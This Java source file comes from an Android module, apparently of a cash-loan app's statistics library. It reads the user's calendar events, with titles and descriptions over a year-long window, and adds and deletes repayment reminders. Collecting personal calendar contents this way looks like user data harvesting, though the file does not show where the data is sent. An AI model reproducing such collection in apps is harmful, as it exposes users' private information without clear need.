package com.cash.lemoloan.statisticlib.Utils;

import android.annotation.SuppressLint;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.provider.CalendarContract;


import com.cash.lemoloan.statisticlib.StatisticApplication;
import com.cash.lemoloan.statisticlib.model.CalendarModel;
import com.cash.lemoloan.statisticlib.model.StatisticCalendarInfo;

import java.util.ArrayList;
import java.util.Calendar;
import java.util.List;
import java.util.TimeZone;

public class CalendarUtil {
    // 为了兼容不同版本的日历,2.2以后url发生改变
    private static String calanderEventURL = "";
    //先定义一个URL，到时作为调用系统日历的uri的参数
    private static String calanderRemiderURL = "";
    static {
        if (Build.VERSION.SDK_INT >= 8) {
            calanderEventURL = "content://com.android.calendar/events";
            calanderRemiderURL = "content://com.android.calendar/reminders";
        } else {
            calanderEventURL = "content://calendar/events";
            calanderRemiderURL = "content://calendar/reminders";
        }


    }

    /**
     * 查询所有日程
     */
    @SuppressLint("Range")
    public static List<StatisticCalendarInfo> getCalder() {
        List<StatisticCalendarInfo> calendarInfoList = new ArrayList<>();
        try {
            ContentResolver cr = StatisticApplication.getInstance().getContentResolver();
            // 日历里面相应的Event的URI
            Uri uri = Uri.parse(calanderEventURL);
            if (cr == null || uri == null) return null;
            long oneYear = 365l * 24l * 60l * 60l * 1000l;
            long threeMonth = 90l * 24l * 60l * 60l * 1000l;
            String[] projection = new String[]{CalendarContract.Events._ID, CalendarContract.Events.CALENDAR_ID, CalendarContract.Events.TITLE, CalendarContract.Events.DESCRIPTION, CalendarContract.Events.DTSTART, CalendarContract.Events.DTEND, CalendarContract.Events.ALL_DAY, CalendarContract.Events.EVENT_LOCATION, CalendarContract.Events.RRULE, CalendarContract.Events.DURATION};

            String selection = "(( " + CalendarContract.Events.DTSTART + " >= " + (System.currentTimeMillis() - oneYear) + " ) AND ( " + CalendarContract.Events.DTSTART + " <= " + (System.currentTimeMillis() + threeMonth) + " ) AND ( " + CalendarContract.Events.CALENDAR_ID + " <= " + 5 + " ) )";

            Cursor cursor = cr.query(uri, projection, selection, null, null);
            if (null == cursor) return null;
            while (cursor.moveToNext()) {
                StatisticCalendarInfo cde = new StatisticCalendarInfo();
                cde.setCalendar_id(cursor.getString(cursor
                        .getColumnIndex(CalendarContract.Events.CALENDAR_ID)));
                cde.setTitle(cursor.getString(cursor.getColumnIndex(CalendarContract.Events.TITLE)));
                cde.setDtstart(cursor.getString(cursor
                        .getColumnIndex(CalendarContract.Events.DTSTART)));
                cde.setDtend(cursor.getString(cursor.getColumnIndex(CalendarContract.Events.DTEND)));
                cde.setDescription(cursor.getString(cursor
                        .getColumnIndex(CalendarContract.Events.DESCRIPTION)));
                calendarInfoList.add(cde);
            }
            cursor.close();
        } catch (Throwable tr) {
            tr.printStackTrace();
        }
        return calendarInfoList;
    }

    /**
     * 插入日程
     */
    public static boolean insertCanlendar(StatisticCalendarInfo calendarInfo){
        try {
            String[] startTimes = calendarInfo.getDtstart().split("-");
            String[] endTimes = calendarInfo.getDtend().split("-");
            if(startTimes.length != 5 && endTimes.length != 5){
                return false;
            }
            long startMillis = 0;
            long endMillis = 0;
            Calendar beginTime = Calendar.getInstance();
            beginTime.set(Integer.valueOf(startTimes[0]), Integer.valueOf(startTimes[1])-1, Integer.valueOf(startTimes[2]), Integer.valueOf(startTimes[3]), Integer.valueOf(startTimes[4]));  //注意，月份的下标是从0开始的
            startMillis = beginTime.getTimeInMillis();  //插入日历时要取毫秒计时
            Calendar finishTime = Calendar.getInstance();
            finishTime.set(Integer.valueOf(endTimes[0]), Integer.valueOf(endTimes[1])-1, Integer.valueOf(endTimes[2]), Integer.valueOf(endTimes[3]), Integer.valueOf(endTimes[4]));
            endMillis = finishTime.getTimeInMillis();

            ContentValues eValues = new ContentValues();  //插入事件
            ContentValues rValues = new ContentValues();  //插入提醒，与事件配合起来才有效
            TimeZone tz = TimeZone.getDefault();//获取默认时区

            //插入日程
            eValues.put(CalendarContract.Events.DTSTART, startMillis);
            eValues.put(CalendarContract.Events.DTEND, endMillis);
            eValues.put(CalendarContract.Events.TITLE, calendarInfo.getTitle());
            eValues.put(CalendarContract.Events.DESCRIPTION, calendarInfo.getDescription());
//        +"\n"+calendarInfo.getWakeUrl());//此web页面菲律宾项目目前还没有，所以先去掉
            eValues.put(CalendarContract.Events.CALENDAR_ID, 1);
            eValues.put(CalendarContract.Events.HAS_ALARM, 1);
            eValues.put(CalendarContract.Events.EVENT_TIMEZONE, tz.getID());
            Uri uri = StatisticApplication.getInstance().getContentResolver().insert(CalendarContract.Events.CONTENT_URI, eValues);

            //插完日程之后必须再插入以下代码段才能实现提醒功能
            //String myEventsId = uri.getLastPathSegment(); // 得到当前表的_id
            if (null == uri) return false;
            Long myEventsId = ContentUris.parseId(uri); // 得到当前表的_id
            if(myEventsId == 0){
                return false;
            }
            PreferencesUtil.putString(calendarInfo.getLoanGid(),String.valueOf(myEventsId));
            rValues.put(CalendarContract.Reminders.EVENT_ID, myEventsId);

            rValues.put(CalendarContract.Reminders.MINUTES, 0); //事件开始前提醒
            rValues.put(CalendarContract.Reminders.METHOD, 1);   //如果需要有提醒,必须要有这一行
            StatisticApplication.getInstance().getContentResolver().insert(Uri.parse(calanderRemiderURL),rValues);
            rValues.put(CalendarContract.Reminders.MINUTES, 1440); //事件开始前一天提醒
            rValues.put(CalendarContract.Reminders.METHOD, 1);   //如果需要有提醒,必须要有这一行
            StatisticApplication.getInstance().getContentResolver().insert(Uri.parse(calanderRemiderURL),rValues);
            rValues.put(CalendarContract.Reminders.MINUTES, 3*1440); //事件开始前一天提醒
            rValues.put(CalendarContract.Reminders.METHOD, 1);   //如果需要有提醒,必须要有这一行
            StatisticApplication.getInstance().getContentResolver().insert(Uri.parse(calanderRemiderURL),rValues);
            return true;
        }catch (Throwable tr){
            return false;
        }
    }
    /**
     * 插入正常日程
     */
    public static boolean insertNormalCanlendar(CalendarModel calendarModel){
        try {
            long startMillis = 0;
            long endMillis = 0;
            Calendar beginTime = Calendar.getInstance();
            beginTime.setTimeInMillis(calendarModel.getStartTime());//设置开始时间
            startMillis = beginTime.getTime().getTime();
            Calendar finishTime = Calendar.getInstance();
            finishTime.setTimeInMillis(calendarModel.getEndTime());//设置开始时间
            endMillis = finishTime.getTime().getTime();

            ContentValues eValues = new ContentValues();  //插入事件
            ContentValues rValues = new ContentValues();  //插入提醒，与事件配合起来才有效
            TimeZone tz = TimeZone.getDefault();//获取默认时区

            //插入日程
            eValues.put(CalendarContract.Events.DTSTART, startMillis);
            eValues.put(CalendarContract.Events.DTEND, endMillis);
            eValues.put(CalendarContract.Events.TITLE, calendarModel.getTitle());
            eValues.put(CalendarContract.Events.DESCRIPTION, calendarModel.getDescription());
            eValues.put(CalendarContract.Events.CALENDAR_ID, 1);
            eValues.put(CalendarContract.Events.HAS_ALARM, 1);
            eValues.put(CalendarContract.Events.EVENT_TIMEZONE, tz.getID());
            Uri uri = StatisticApplication.getInstance().getContentResolver().insert(CalendarContract.Events.CONTENT_URI, eValues);

            //String myEventsId = uri.getLastPathSegment(); // 得到当前表的_id
            if (null == uri) return false;
            Long myEventsId = ContentUris.parseId(uri); // 得到当前表的_id
            if(myEventsId == 0){
                return false;
            }
            PreferencesUtil.putString(calendarModel.getCalendarId(),String.valueOf(myEventsId));
            rValues.put(CalendarContract.Reminders.EVENT_ID, myEventsId);
            List<Integer> wakeTime = calendarModel.getWakeTime();
            if(wakeTime != null && wakeTime.size() != 0){
                for (Integer time : wakeTime) {
                    rValues.put(CalendarContract.Reminders.MINUTES, time); //事件开始前提醒
                    rValues.put(CalendarContract.Reminders.METHOD, 1);   //如果需要有提醒,必须要有这一行
                    StatisticApplication.getInstance().getContentResolver().insert(Uri.parse(calanderRemiderURL),rValues);
                }
            }
            return true;
        }catch (Throwable tr){
            return false;
        }
    }
    /**
     * 删除指定日程
     */
    public static boolean deleteCalen(Long eventId){
        try {
            Uri deleteUri = ContentUris.withAppendedId(Uri.parse(calanderEventURL),eventId);
            int raw = StatisticApplication.getInstance().getContentResolver().delete(deleteUri, null, null);
            if(raw == -1){
                return false;
            }else{
                return true;
            }
        }catch (Throwable tr){
            tr.printStackTrace();
            return false;
        }
    }
}
